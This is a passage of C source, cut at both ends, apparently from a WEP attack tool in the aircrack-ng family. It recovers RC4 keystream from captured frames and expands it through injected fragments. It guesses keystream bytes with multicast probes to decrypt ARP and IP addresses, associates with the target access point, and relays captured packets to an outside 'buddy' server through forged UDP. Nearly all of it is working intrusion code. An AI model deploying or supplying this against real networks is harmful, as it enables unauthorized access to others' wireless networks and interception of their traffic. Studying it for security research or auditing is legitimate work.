exit(EXIT_FAILURE);
}
rc = write(fd, es->es_prga, es->es_prgalen);
if (rc != es->es_prgalen)
{
printf("save_prga: can't write PRGA\n");
exit(EXIT_FAILURE);
}
close(fd);
}
static inline int is_arp(struct ieee80211_frame * wh, int len)
{
UNUSED_PARAM(wh);
const int arpsize = 8 + sizeof(struct arphdr) + 10 * 2;
if (len == arpsize || len == 54) return (1);
return (0);
}
static void * get_sa(struct ieee80211_frame * wh)
{
REQUIRE(wh != NULL);
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
return (wh->i_addr3);
else
return (wh->i_addr2);
}
static void * get_da(struct ieee80211_frame * wh)
{
REQUIRE(wh != NULL);
if (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
return (wh->i_addr1);
else
return (wh->i_addr3);
}
static void
base_prga(struct east_state * es, struct ieee80211_frame * wh, int len)
{
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
unsigned char ct[1024];
unsigned char * data = (unsigned char *) (wh + 1);
int prgalen;
int ct_len;
memcpy(es->es_iv, data, 3);
data += 4;
len -= 4 + 4; /* IV & CRC */
if (len <= 0)
{
printf("base_prga: lame len %d\n", len);
return;
}
prgalen = known_clear(ct, &ct_len, NULL, (uint8_t *) wh, len);
xor(es->es_prga, ct, data, prgalen);
es->es_prgalen = prgalen;
save_prga(es);
}
static void
check_expand(struct east_state * es, struct ieee80211_frame * wh, int len)
{
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
int elen;
unsigned long crc;
unsigned char * data = (unsigned char *) (wh + 1);
if (!(wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)) return;
if (memcmp(es->es_apmac, wh->i_addr2, 6) != 0) return;
if (memcmp(es->es_mymac, wh->i_addr3, 6) != 0) return;
if (memcmp("\xff\xff\xff\xff\xff\xff", wh->i_addr1, 6) != 0) return;
elen = es->es_expand_len;
if (elen != (len - 4)) return;
if (elen <= es->es_prgalen) return;
/* iv */
memcpy(es->es_iv, data, 3);
data += 4;
elen -= 4;
/* payload */
ALLEGE(elen <= (int) sizeof(es->es_clear));
es->es_prgalen = elen + 4;
xor(es->es_prga, es->es_clear, data, elen);
/* crc */
crc = htole32(calc_crc_buf(es->es_clear, elen));
xor(&es->es_prga[elen], &crc, data + elen, 4);
save_prga(es);
if (es->es_prgalen == sizeof(es->es_prga)) es->es_astate = AS_FIND_IP;
}
static int to_me(struct east_state * es, struct ieee80211_frame * wh)
{
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
return (wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS)
&& memcmp(es->es_mymac, get_da(wh), 6) == 0;
}
static int from_me(struct east_state * es, struct ieee80211_frame * wh)
{
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
return (memcmp(es->es_mymac, get_sa(wh), 6) == 0);
}
static int
check_decrypt(struct east_state * es, struct ieee80211_frame * wh, int len)
{
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
int elen;
if (!from_me(es, wh)) return 0;
if (memcmp(wh->i_addr1, S_MCAST, 5) != 0) return (0);
elen = es->es_prga_dlen + 1;
if (elen != (len - 4)) return (0);
es->es_prga_d[es->es_prga_dlen] = wh->i_addr1[5];
es->es_prga_dlen++;
ALLEGE(es->es_prga_dlen <= (int) sizeof(es->es_prga_d));
return (1);
}
static void decrypt_ip_addr(
struct east_state * es, void * dst, int * len, void * cipher, int off)
{
REQUIRE(es != NULL);
REQUIRE(dst != NULL);
REQUIRE(len != NULL);
REQUIRE(cipher != NULL);
unsigned char * c = cipher;
*len = es->es_prga_dlen - off;
if (*len > 4) *len = 4;
INVARIANT(*len > 0);
xor(dst, c + off, es->es_prga_d + off, *len);
}
static void found_net_addr(struct east_state * es, unsigned char * a)
{
REQUIRE(es != NULL);
REQUIRE(a != NULL);
unsigned char ip[4];
memcpy(ip, a, 3);
if (!ip[0])
{
printf("Shit, prolly got a lame dhcp dude\n");
exit(EXIT_FAILURE);
}
ip[3] = 123;
memcpy(&es->es_myip, ip, 4);
char * myip = inet_ntoa(es->es_myip);
printf("My IP %s\n", myip ? myip : "<unknown>");
set_tap_ip(es);
ip[3] = 1;
memcpy(&es->es_rtrip, ip, 4);
char * rtrip = inet_ntoa(es->es_rtrip);
printf("Rtr IP %s\n", rtrip ? rtrip : "<unknown>");
es->es_astate = AS_FIND_RTR_MAC;
}
static void
check_decrypt_arp(struct east_state * es, struct ieee80211_frame * wh, int len)
{
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
unsigned char ip[4];
int iplen;
const int off = 8 + sizeof(struct arphdr) + 6;
unsigned char * data;
int i;
if (!check_decrypt(es, wh, len)) return;
iplen = es->es_prga_dlen - off;
ALLEGE(iplen > 0 && iplen <= (int) sizeof(ip));
data = (unsigned char *) (((struct ieee80211_frame *) es->es_packet_arp)
+ 1);
data += +4 + off;
xor(ip, data, &es->es_prga_d[off], iplen);
printf("\nARP IP so far: ");
for (i = 0; i < iplen; i++)
{
printf("%d", ip[i]);
if ((i + 1) < iplen) printf(".");
}
printf("\n");
if (iplen == 3) found_net_addr(es, ip);
}
static void
check_decrypt_ip(struct east_state * es, struct ieee80211_frame * wh, int len)
{
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
int off_ip = 8;
int off_id = off_ip + 4;
int off_ttl = off_id + 4;
int off_p = off_ttl + 1;
int off_check = off_p + 1;
int off_s_addr = off_check + 2;
int off_d_addr = off_s_addr + 4;
unsigned char * data = es->es_packet + sizeof(*wh) + 4;
if (!check_decrypt(es, wh, len)) return;
if (es->es_prga_dlen == (off_id + 2))
{
printf("\nGot IP ID\n");
}
else if (es->es_prga_dlen == (off_ttl + 1))
{
printf("\nGot IP TTL\n");
}
else if (es->es_prga_dlen == (off_p + 1))
{
unsigned char * c = data + off_p;
int p = (*c) ^ es->es_prga_d[es->es_prga_dlen - 1];
char * str = NULL;
switch (p)
{
case IPPROTO_ICMP:
str = "icmp";
break;
case IPPROTO_UDP:
str = "udp";
break;
case IPPROTO_TCP:
str = "tcp";
break;
default:
str = "unknown";
break;
}
printf("\nGot proto %s\n", str);
}
else if (es->es_prga_dlen == (off_check + 2))
{
printf("\nGot checksum [could use to help bforce addr]\n");
}
else if ((es->es_prga_dlen >= off_s_addr) //-V695
&& (es->es_prga_dlen <= (off_s_addr + 4)))
{
unsigned char ip[4];
int iplen;
int i;
decrypt_ip_addr(es, ip, &iplen, data, off_s_addr);
printf("\nSource IP so far: ");
for (i = 0; i < iplen; i++)
{
printf("%d", ip[i]);
if (i + 1 < iplen) printf(".");
}
printf("\n");
if (es->es_have_src && iplen == 3) found_net_addr(es, ip);
}
else if ((es->es_prga_dlen >= off_d_addr) //-V695
&& (es->es_prga_dlen <= (off_d_addr + 4)))
{
unsigned char dip[4];
struct in_addr sip;
int iplen;
int i;
decrypt_ip_addr(es, &sip, &i, data, off_s_addr);
decrypt_ip_addr(es, dip, &iplen, data, off_d_addr);
char * sipip = inet_ntoa(sip);
printf("\nIPs so far %s->", sipip ? sipip : "<unknown>");
for (i = 0; i < iplen; i++)
{
printf("%d", dip[i]);
if (i + 1 < iplen) printf(".");
}
printf("\n");
ALLEGE(!es->es_have_src);
if (iplen == 3) found_net_addr(es, dip);
}
else if (es->es_prga_dlen > off_d_addr)
abort();
}
static void setup_internet(struct east_state * es)
{
REQUIRE(es != NULL);
struct sockaddr_in s_in;
char buf[16];
es->es_astate = AS_CHECK_INET;
clear_timeout(es);
char * srvip = inet_ntoa(es->es_srvip);
printf("Trying to connect to buddy: %s:%d\n",
srvip ? srvip : "<unknown>",
es->es_port);
ALLEGE(es->es_buddys == 0);
es->es_buddys = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (es->es_buddys == -1) err(1, "setup_internet: socket()");
memset(&s_in, 0, sizeof(s_in));
s_in.sin_family = PF_INET;
s_in.sin_addr = es->es_srvip;
s_in.sin_port = htons(es->es_port);
if (connect(es->es_buddys, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
err(1, "setup_internet: connect()");
printf("Connected\n");
/* handshake */
if (send(es->es_buddys, "sorbo", 5, 0) != 5)
err(1, "setup_internet: send()");
if (recv(es->es_buddys, buf, 6, 0) != 6) err(1, "setup_internet: recv()");
if (memcmp(buf, "sorbox", 6) != 0)
{
printf("setup_internet: handshake failed");
exit(EXIT_FAILURE);
}
printf("Handshake compl33t\n");
}
static void
check_rtr_mac(struct east_state * es, struct ieee80211_frame * wh, int len)
{
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
void * sa;
char str[18];
if (!to_me(es, wh)) return;
if (!is_arp(wh, len - 4 - 4)) return;
sa = get_sa(wh);
memcpy(es->es_rtrmac, sa, 6);
mac2str(str, es->es_rtrmac, sizeof(str));
printf("Rtr MAC %s\n", str);
setup_internet(es);
}
static struct rpacket * get_slot(struct east_state * es)
{
REQUIRE(es != NULL);
struct rpacket * slot = es->es_rqueue;
struct rpacket * p = es->es_rqueue;
/* try to recycle */
while (slot)
{
if (!slot->rp_len) return (slot);
slot = slot->rp_next;
}
slot = malloc(sizeof(*slot));
if (!slot) err(1, "get_slot: malloc()");
memset(slot, 0, sizeof(*slot));
if (!p)
es->es_rqueue = slot;
else
{
while (p->rp_next) p = p->rp_next;
p->rp_next = slot;
}
return (slot);
}
static struct rpacket * get_head(struct east_state * es)
{
REQUIRE(es != NULL);
struct rpacket * rp = es->es_rqueue;
if (!rp) return (NULL);
if (!rp->rp_len) return (NULL);
return (rp);
}
static struct rpacket * get_packet(struct east_state * es, int id)
{
REQUIRE(es != NULL);
struct rpacket * rp = es->es_rqueue;
while (rp)
{
if (!rp->rp_len) return (NULL);
if (rp->rp_id == id) return (rp);
rp = rp->rp_next;
}
return (NULL);
}
static void remove_packet(struct east_state * es, int id)
{
REQUIRE(es != NULL);
struct rpacket * rp = es->es_rqueue;
struct rpacket ** prevn;
struct rpacket * p;
ALLEGE(rp != NULL);
prevn = &es->es_rqueue;
/* find and remove */
while (rp)
{
if (rp->rp_id == id)
{
rp->rp_len = 0;
*prevn = rp->rp_next;
break;
}
prevn = &rp->rp_next;
rp = rp->rp_next;
}
ALLEGE(rp != NULL);
/* only one element */
p = es->es_rqueue;
if (!p)
{
es->es_rqueue = rp;
ALLEGE(rp->rp_next == NULL);
return;
}
while (p)
{
if (!p->rp_len)
{
rp->rp_next = p->rp_next;
p->rp_next = rp;
return;
}
prevn = &p->rp_next;
p = p->rp_next;
}
/* last elem */
rp->rp_next = NULL;
*prevn = rp;
}
static int queue_len(struct east_state * es)
{
REQUIRE(es != NULL);
int len = 0;
struct rpacket * slot = es->es_rqueue;
while (slot)
{
if (!slot->rp_len) break;
len++;
slot = slot->rp_next;
}
return (len);
}
static void
redirect_enque(struct east_state * es, struct ieee80211_frame * wh, int len)
{
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
char s[18];
char d[18];
struct rpacket * slot;
slot = get_slot(es);
slot->rp_len = len;
ALLEGE(slot->rp_len <= (int) sizeof(slot->rp_packet));
memcpy(slot->rp_packet, wh, slot->rp_len);
es->es_rpacket_id++;
slot->rp_id = es->es_rpacket_id;
mac2str(s, get_sa(wh), sizeof(s));
mac2str(d, get_da(wh), sizeof(d));
printf_time("Enqueued packet id %d %s->%s %" PRIuMAX " [qlen %d]\n",
slot->rp_id,
s,
d,
(uintmax_t) ((size_t) len - sizeof(*wh) - 8),
queue_len(es));
}
static void
check_redirect(struct east_state * es, struct ieee80211_frame * wh, int len)
{
if (!for_me_and_from_ap(es, wh)) return;
if (is_dup(es, wh)) return;
redirect_enque(es, wh, sizeof(*wh) + len);
}
static void
read_data(struct east_state * es, struct ieee80211_frame * wh, int len)
{
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
if ((wh->i_fc[0] & IEEE80211_FC0_SUBTYPE_MASK)
!= IEEE80211_FC0_SUBTYPE_DATA)
return;
if (!(wh->i_fc[1] & IEEE80211_FC1_WEP)) return;
if (!our_network(es, wh)) return;
if (!from_me(es, wh))
{
if (!es->es_have_packet
|| (es->es_astate <= AS_FIND_IP && !es->es_have_src))
{
ALLEGE((int) sizeof(es->es_packet) >= len);
memcpy(es->es_packet, wh, len);
es->es_have_packet = len;
if (wh->i_fc[1] & IEEE80211_FC1_DIR_TODS) es->es_have_src = 1;
if ((wh->i_fc[1] & IEEE80211_FC1_DIR_FROMDS) && wh->i_addr1[0] != 0)
es->es_have_src = 1;
}
if (!es->es_have_arp && is_arp(wh, len - sizeof(*wh) - 4 - 4))
{
memcpy(es->es_packet_arp, wh, len);
es->es_have_arp = len;
if (es->es_astate == AS_DECRYPT_IP)
{
printf("\nPreempting to ARP decryption\n");
es->es_astate = AS_FIND_IP;
}
}
}
len -= sizeof(*wh);
switch (es->es_astate)
{
case AS_NOPRGA:
base_prga(es, wh, len);
es->es_astate = AS_PRGA_EXPAND;
break;
case AS_PRGA_EXPAND:
check_expand(es, wh, len);
break;
case AS_FIND_IP:
break;
case AS_DECRYPT_ARP:
check_decrypt_arp(es, wh, len);
break;
case AS_DECRYPT_IP:
check_decrypt_ip(es, wh, len);
break;
case AS_FIND_RTR_MAC:
check_rtr_mac(es, wh, len);
break;
case AS_CHECK_INET:
break;
case AS_REDIRECT:
check_redirect(es, wh, len);
break;
default:
abort();
break;
}
}
static void read_wifi(struct east_state * es)
{
REQUIRE(es != NULL);
unsigned char buf[sizeof(struct ieee80211_frame) * 32];
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
const int len = wi_read(es->es_wi, NULL, NULL, buf, sizeof(buf), NULL);
if (len < 0 || (size_t) len > sizeof(buf)) err(1, "wi_read()");
/* XXX: I don't do any length chex */
if (len < 2)
{
printf("Short packet %d\n", len);
return;
}
switch (wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK)
{
case IEEE80211_FC0_TYPE_MGT:
INVARIANT(len == sizeof(struct ieee80211_frame));
read_mgt(es, wh, len);
break;
case IEEE80211_FC0_TYPE_CTL:
read_ctl(es, wh, len);
break;
case IEEE80211_FC0_TYPE_DATA:
read_data(es, wh, len);
break;
default:
printf("Unknown type %x\n", wh->i_fc[0] & IEEE80211_FC0_TYPE_MASK);
break;
}
}
static inline void msec_to_tv(unsigned int msec, struct timeval * tv)
{
REQUIRE(tv != NULL);
tv->tv_sec = msec / 1000;
tv->tv_usec = (msec - tv->tv_sec * 1000) * 1000;
}
static void chan_hop(struct east_state * es, struct timeval * tv)
{
REQUIRE(es != NULL);
struct timeval now;
unsigned int elapsed;
if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
elapsed = msec_diff(&es->es_lasthop, &now);
/* hop */
if (elapsed >= es->es_hopfreq)
{
es->es_apchan++;
if (es->es_apchan > 12) es->es_apchan = 1;
es->es_lasthop = now;
set_chan(es);
printf("Chan %.2d\r", es->es_apchan);
fflush(stdout);
msec_to_tv(es->es_hopfreq, tv);
}
else
msec_to_tv(es->es_hopfreq - elapsed, tv);
}
static void fill_basic(struct east_state * es, struct ieee80211_frame * wh)
{
REQUIRE(es != NULL);
REQUIRE(wh != NULL);
unsigned short * sp;
/* macs */
memcpy(wh->i_addr1, es->es_apmac, sizeof(wh->i_addr1)); //-V525
memcpy(wh->i_addr2, es->es_mymac, sizeof(wh->i_addr2));
memcpy(wh->i_addr3, es->es_apmac, sizeof(wh->i_addr3));
/* duration */
sp = (unsigned short *) wh->i_dur;
*sp = htole16(0);
/* seq */
sp = (unsigned short *) wh->i_seq;
*sp = fnseq(0, es->es_txseq);
}
static void send_frame(struct east_state * es, void * buf, int len)
{
REQUIRE(es != NULL);
REQUIRE(buf != NULL);
int rc = wi_write(es->es_wi, NULL, LINKTYPE_IEEE802_11, buf, len, NULL);
if (rc == -1) err(1, "wi_write()");
if (rc != len)
{
printf("ERROR: Packet length changed while transmitting (%d instead of "
"%d).\n",
rc,
len);
exit(EXIT_FAILURE);
}
if (gettimeofday(&es->es_txlast, NULL) == -1) err(1, "gettimeofday()");
}
static int too_early(struct timeval * tv, int to, struct timeval * last_sent)
{
struct timeval now;
unsigned int elapsed;
/* check if timeout expired */
if (gettimeofday(&now, NULL) == -1) err(1, "gettimeofday()");
elapsed = msec_diff(last_sent, &now);
if (elapsed < (unsigned int) to)
{
msec_to_tv(to - elapsed, tv);
return (1);
}
msec_to_tv(to, tv);
return (0);
}
static void send_auth(struct east_state * es, struct timeval * tv)
{
REQUIRE(es != NULL);
unsigned char buf[sizeof(struct ieee80211_frame) * 32];
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
unsigned short * sp;
if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return;
es->es_txseq++;
memset(buf, 0, sizeof(buf));
fill_basic(es, wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_AUTH;
/* transaction number */
sp = (unsigned short *) ((unsigned char *) wh + sizeof(*wh)); //-V1032
sp++;
*sp = htole16(1);
send_frame(es, wh, sizeof(*wh) + 2 + 2 + 2);
}
static void send_assoc(struct east_state * es, struct timeval * tv)
{
REQUIRE(es != NULL);
unsigned char buf[sizeof(struct ieee80211_frame) * 32];
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
unsigned short * sp;
int len;
unsigned char * ptr;
if (too_early(tv, es->es_txto_mgt, &es->es_txlast)) return;
memset(buf, 0, sizeof(buf));
es->es_txseq++;
fill_basic(es, wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_MGT | IEEE80211_FC0_SUBTYPE_ASSOC_REQ;
sp = (unsigned short *) (wh + 1);
/* capability */
*sp++ = htole16(IEEE80211_CAPINFO_ESS | IEEE80211_CAPINFO_PRIVACY);
*sp++ = htole16(100); /* listen interval */
/* ssid */
ptr = (unsigned char *) sp;
*ptr++ = IEEE80211_ELEMID_SSID;
len = strlen(es->es_apssid);
*ptr++ = len;
strncpy((char *) ptr, es->es_apssid, 32);
ptr += len;
/* rates */
*ptr++ = IEEE80211_ELEMID_RATES;
*ptr++ = 8;
*ptr++ = 2 | 0x80;
*ptr++ = 4 | 0x80;
*ptr++ = 11 | 0x80;
*ptr++ = 22 | 0x80;
*ptr++ = 12 | 0x80;
*ptr++ = 24 | 0x80;
*ptr++ = 48 | 0x80;
*ptr++ = 72;
/* x-rates */
*ptr++ = IEEE80211_ELEMID_XRATES;
*ptr++ = 4;
*ptr++ = 48;
*ptr++ = 72;
*ptr++ = 96;
*ptr++ = 108;
len = ptr - buf;
printf("Sending assoc request\n");
send_frame(es, wh, len);
}
static void expand_prga(struct east_state * es, struct timeval * tv)
{
REQUIRE(es != NULL);
unsigned char buf[sizeof(struct ieee80211_frame) * 32];
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
unsigned char * data = (unsigned char *) (wh + 1);
unsigned short * sp = (unsigned short *) wh->i_seq;
int dlen;
int early;
int totlen;
/* start from beginning */
if (es->es_expand_num == -1)
{
es->es_txack = 0;
es->es_expand_num = 0;
es->es_txseq++;
es->es_clearp = es->es_clear;
}
early = too_early(tv, es->es_txto_expand, &es->es_txlast);
if (!es->es_txack && early) return;
memset(buf, 0, sizeof(buf));
/* see if we got an ack to move onto next frag */
if (es->es_txack)
{
es->es_expand_num++;
es->es_clearp = es->es_clearpnext;
if (es->es_expand_num == es->es_expand_factor)
{
es->es_expand_num = 0;
es->es_txseq++;
es->es_clearp = es->es_clear;
}
es->es_txack = 0;
}
else
wh->i_fc[1] |= IEEE80211_FC1_RETRY;
if (es->es_expand_num == 0 && early) return;
/* 802.11 header */
fill_basic(es, wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
wh->i_fc[1]
|= IEEE80211_FC1_MORE_FRAG | IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
memset(wh->i_addr3, 0xff, 6);
/* iv & crc */
memcpy(data, es->es_iv, 3);
data += 4;
dlen = es->es_prgalen - 4;
/* see how much we sent */
totlen = dlen * es->es_expand_num;
es->es_expand_len = totlen + dlen + 4;
if ((int) sizeof(es->es_prga) < es->es_expand_len)
{
es->es_expand_len -= dlen;
dlen = sizeof(es->es_prga) - totlen - 4;
/* don't need as many frags; start over */
if (dlen <= 0)
{
es->es_expand_num = -1;
es->es_expand_len = sizeof(es->es_prga);
return;
}
es->es_expand_len += dlen;
wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
}
ALLEGE((es->es_clearp >= es->es_clear)
&& ((es->es_clearp + dlen) < &es->es_clear[sizeof(es->es_clear)]));
memcpy(data, es->es_clearp, dlen);
es->es_clearpnext = es->es_clearp + dlen;
add_crc32(data, dlen);
xor(data, data, es->es_prga, es->es_prgalen);
/* send frag */
if ((es->es_expand_num + 1) == es->es_expand_factor)
wh->i_fc[1] &= ~IEEE80211_FC1_MORE_FRAG;
*sp = fnseq(es->es_expand_num, es->es_txseq);
printf("Sending %d byte fragment %d:%d\r",
dlen,
es->es_txseq,
es->es_expand_num);
fflush(stdout);
send_frame(es, wh, data - buf + dlen + 4);
}
static void decrypt_packet(struct east_state * es, struct timeval * tv)
{
REQUIRE(es != NULL);
unsigned char buf[sizeof(struct ieee80211_frame) * 16];
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
unsigned char * data = (unsigned char *) (wh + 1);
int dlen;
if (too_early(tv, es->es_txto_decrypt, &es->es_txlast)) return;
memset(buf, 0, sizeof(buf));
/* 802.11 header */
es->es_txseq++;
fill_basic(es, wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
memcpy(wh->i_addr3, S_MCAST, 5);
wh->i_addr3[5] = es->es_prga_d[es->es_prga_dlen];
/* iv & crc */
memcpy(data, es->es_prga_div, 3);
data += 4;
dlen = es->es_prga_dlen - 4 + 1;
memcpy(data, es->es_clear, dlen);
add_crc32(data, dlen);
xor(data, data, es->es_prga_d, es->es_prga_dlen + 1);
printf_time("Guessing prga byte %d with %.2X\r",
es->es_prga_dlen,
es->es_prga_d[es->es_prga_dlen]);
fflush(stdout);
send_frame(es, wh, data - buf + dlen + 4);
es->es_prga_d[es->es_prga_dlen]++;
}
static void decrypt_arp(struct east_state * es, struct timeval * tv)
{
REQUIRE(es != NULL);
/* init */
if (es->es_astate != AS_DECRYPT_ARP)
{
unsigned char clear[1024];
unsigned char * prga = es->es_prga_d;
unsigned char * ct;
struct ieee80211_frame * wh
= (struct ieee80211_frame *) es->es_packet_arp;
int len, clear_len;
es->es_astate = AS_DECRYPT_ARP;
ct = (unsigned char *) (wh + 1);
memcpy(es->es_prga_div, ct, 3);
ct += 4;
len = known_clear(clear,
&clear_len,
NULL,
(uint8_t *) wh,
8 + sizeof(struct arphdr) + 10 * 2);
xor(prga, clear, ct, len);
prga += len;
*prga = 0;
es->es_prga_dlen = prga - es->es_prga_d;
}
decrypt_packet(es, tv);
}
static void decrypt_ip(struct east_state * es, struct timeval * tv)
{
REQUIRE(es != NULL);
/* init */
if (es->es_astate != AS_DECRYPT_IP)
{
unsigned char clear[1024] = {0};
unsigned char * prga = es->es_prga_d;
unsigned char * ct;
struct ieee80211_frame * wh = (struct ieee80211_frame *) es->es_packet;
int len;
unsigned short totlen;
es->es_astate = AS_DECRYPT_IP;
ct = (unsigned char *) (wh + 1);
memcpy(es->es_prga_div, ct, 3);
ct += 4;
/* llc snap */
len = 8;
memcpy(clear, S_LLC_SNAP_IP, len);
xor(prga, clear, ct, len);
prga += len;
ct += len;
/* ip hdr */
len = 2;
memcpy(clear, "\x45\x00", len);
xor(prga, clear, ct, len);
prga += len;
ct += len;
/* tot len */
totlen = es->es_have_packet - sizeof(*wh) - 4 - 8 - 4;
totlen = htons(totlen);
memcpy(clear, &totlen, len); //-V512
xor(prga, clear, ct, len);
prga += len;
ct += len;
*prga = 0;
es->es_prga_dlen = prga - es->es_prga_d;
}
decrypt_packet(es, tv);
}
static void find_ip(struct east_state * es, struct timeval * tv)
{
REQUIRE(es != NULL);
if (es->es_rtrip.s_addr && es->es_myip.s_addr)
{
set_tap_ip(es);
es->es_astate = AS_FIND_RTR_MAC;
return;
}
if (es->es_have_arp)
decrypt_arp(es, tv);
else if (es->es_have_packet)
decrypt_ip(es, tv);
}
static void send_whohas(struct east_state * es, struct timeval * tv)
{
REQUIRE(es != NULL);
unsigned char buf[sizeof(struct ieee80211_frame) * 16];
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
unsigned char * data = (unsigned char *) (wh + 1);
int dlen;
struct arphdr * ah;
unsigned char * datas;
if (too_early(tv, es->es_txto_whohas, &es->es_txlast)) return;
memset(buf, 0, sizeof(buf));
/* 802.11 header */
es->es_txseq++;
fill_basic(es, wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
memset(wh->i_addr3, 0xff, 6);
/* iv */
memcpy(data, es->es_iv, 3);
data += 4;
datas = data;
/* llc snap */
memcpy(data, S_LLC_SNAP_ARP, 8);
data += 8;
/* arp */
ah = (struct arphdr *) data; //-V641
ah->ar_hrd = htons(ARPHRD_ETHER);
ah->ar_pro = htons(ETHERTYPE_IP);
ah->ar_hln = 6;
ah->ar_pln = 4;
ah->ar_op = htons(ARPOP_REQUEST);
data = (unsigned char *) (ah + 1);
memcpy(data, es->es_mymac, 6);
data += 6;
memcpy(data, &es->es_myip, 4);
data += 4;
data += 6;
memcpy(data, &es->es_rtrip, 4);
data += 4;
dlen = data - datas;
add_crc32(datas, dlen);
assert(es->es_prgalen >= dlen + 4);
xor(datas, datas, es->es_prga, dlen + 4);
char const * const netip = inet_ntoa(es->es_rtrip);
printf("Sending who has %s", netip ? netip : "<unknown>");
char const * const myip = inet_ntoa(es->es_myip);
printf(" tell %s\n", myip ? myip : "<unknown>");
send_frame(es, wh, data - buf + 4);
}
static void check_inet(struct east_state * es, struct timeval * tv)
{
REQUIRE(es != NULL);
unsigned char buf[sizeof(struct ieee80211_frame) * 16];
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
unsigned char * data = (unsigned char *) (wh + 1);
int dlen;
struct ip * iph;
unsigned char * datas;
unsigned short * seq;
struct udphdr * uh;
if (too_early(tv, es->es_txto_checkinet, &es->es_txlast)) return;
memset(buf, 0, sizeof(buf));
/* 802.11 header */
es->es_txseq++;
fill_basic(es, wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
wh->i_fc[1] |= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP;
memcpy(wh->i_addr3, es->es_rtrmac, 6);
/* iv */
memcpy(data, es->es_iv, 3);
data += 4;
datas = data;
/* llc snap */
memcpy(data, S_LLC_SNAP_IP, 8);
data += 8;
/* ip */
iph = (struct ip *) data; //-V641
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_len = htons(sizeof(*iph) + sizeof(*uh) + S_HELLO_LEN);
iph->ip_id = htons(666);
iph->ip_ttl = 69;
iph->ip_p = IPPROTO_UDP;
iph->ip_src = es->es_myip;
iph->ip_dst = es->es_srvip;
iph->ip_sum = in_cksum((uint8_t *) iph, 20);
/* udp */
uh = (struct udphdr *) (iph + 1); //-V1027
uh->uh_sport = htons(53);
uh->uh_dport = htons(es->es_udp_port);
uh->uh_ulen = htons(sizeof(*uh) + S_HELLO_LEN);
uh->uh_sum = 0;
/* data */
data = (unsigned char *) (uh + 1);
memcpy(data, "sorbo", 5);
seq = (unsigned short *) (data + 5);
es->es_rpacket_id += 1;
*seq = htons(es->es_rpacket_id);
data += S_HELLO_LEN;
dlen = data - datas;
add_crc32(datas, dlen);
ALLEGE(es->es_prgalen >= dlen + 4);
xor(datas, datas, es->es_prga, dlen + 4);
printf("Checking for internet... %d\n", es->es_rpacket_id);
send_frame(es, wh, data - buf + 4);
if (gettimeofday(&es->es_rtt, NULL) == -1) err(1, "gettimeofday()");
}
static void redirect_sendip(struct east_state * es, struct rpacket * rp)
{
REQUIRE(es != NULL);
unsigned char buf[sizeof(struct ieee80211_frame) * 16];
struct ieee80211_frame * wh = (struct ieee80211_frame *) buf;
unsigned char * data = (unsigned char *) (wh + 1);
int dlen;
struct ip * iph;
unsigned char * datas;
struct udphdr * uh;
unsigned short * id;
memset(buf, 0, sizeof(buf));
/* 802.11 header */
fill_basic(es, wh);
wh->i_fc[0] |= IEEE80211_FC0_TYPE_DATA | IEEE80211_FC0_SUBTYPE_DATA;
wh->i_fc[1]
|= IEEE80211_FC1_DIR_TODS | IEEE80211_FC1_WEP | IEEE80211_FC1_MORE_FRAG;
memcpy(wh->i_addr3, es->es_rtrmac, 6);
/* iv */
memcpy(data, es->es_iv, 3);
data += 4;
datas = data;
/* llc snap */
memcpy(data, S_LLC_SNAP_IP, 8);
data += 8;
/* ip */
iph = (struct ip *) data; //-V641
iph->ip_hl = 5;
iph->ip_v = 4;
dlen = rp->rp_len - sizeof(*wh) - 4 - 4 + 2;
iph->ip_len = htons(sizeof(*iph) + sizeof(*uh) + dlen);
iph->ip_id = htons(666);
iph->ip_ttl = 69;
iph->ip_p = IPPROTO_UDP;
iph->ip_src = es->es_myip;
iph->ip_dst = es->es_srvip;
iph->ip_sum = in_cksum((uint8_t *) iph, 20);
/* udp */
uh = (struct udphdr *) (iph + 1); //-V1027
uh->uh_sport = htons(53);
uh->uh_dport = htons(es->es_udp_port);
uh->uh_ulen = htons(sizeof(*uh) + dlen);
uh->uh_sum = 0;
/* packet id */
id = (unsigned short *) (uh + 1);
*id++ = htons(rp->rp_id);
/* data */
data = (unsigned char *) id;
dlen = data - datas;
